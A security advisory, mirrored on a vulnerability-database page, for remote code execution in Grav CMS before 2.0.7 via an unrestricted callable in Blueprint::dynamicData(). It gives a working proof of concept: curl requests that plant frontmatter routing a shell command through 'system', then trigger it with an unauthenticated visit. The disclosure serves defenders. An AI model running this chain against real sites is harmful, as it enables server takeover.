Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Summary
An account with the admin.pages permission (or api.pages.write) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
Details
Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes
a Class::method string and its arguments straight to call_user_func_array()
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
Grav\Common\Utils::arrayFilterRecursive($source,$fn)
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
$fn($key,$value), so passing system as $fn and a command as the array key
runs the command.
PoC
Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie
for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin
page (window.GravAdmin.config.admin_nonce).
Save a "form" page whose field carries the callable directive:
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::arrayFilterRecursive'
- { 'echo GRAV-RCE-OK; id': 'x' }
- system"
Trigger it as an unauthenticated visitor:
curl '<BASE_URL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the
web-server user's id output (a line starting uid=...) — the command ran
during the unauthenticated request and its output is reflected in the response.
Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | getgrav/grav | < 2.0.7 | 2.0.7 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-94- Plataforma
- Composer
- Paquete
getgrav/grav- Publicada
- 02.09.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-fj2p-qj2f-74v5 - CC BY 4.0
Historial de vulnerabilidades: getgrav/grav
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 99
- Primera → última
- 11.2019 09.2026
- Sin corrección
- 6
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 7
- Alta 47
- Media 41
- Baja 4
Divulgaciones por año
- 2019: 1
- 2020: 1
- 2021: 4
- 2022: 10
- 2023: 5
- 2024: 8
- 2025: 23
- 2026: 47
-
Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData() esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.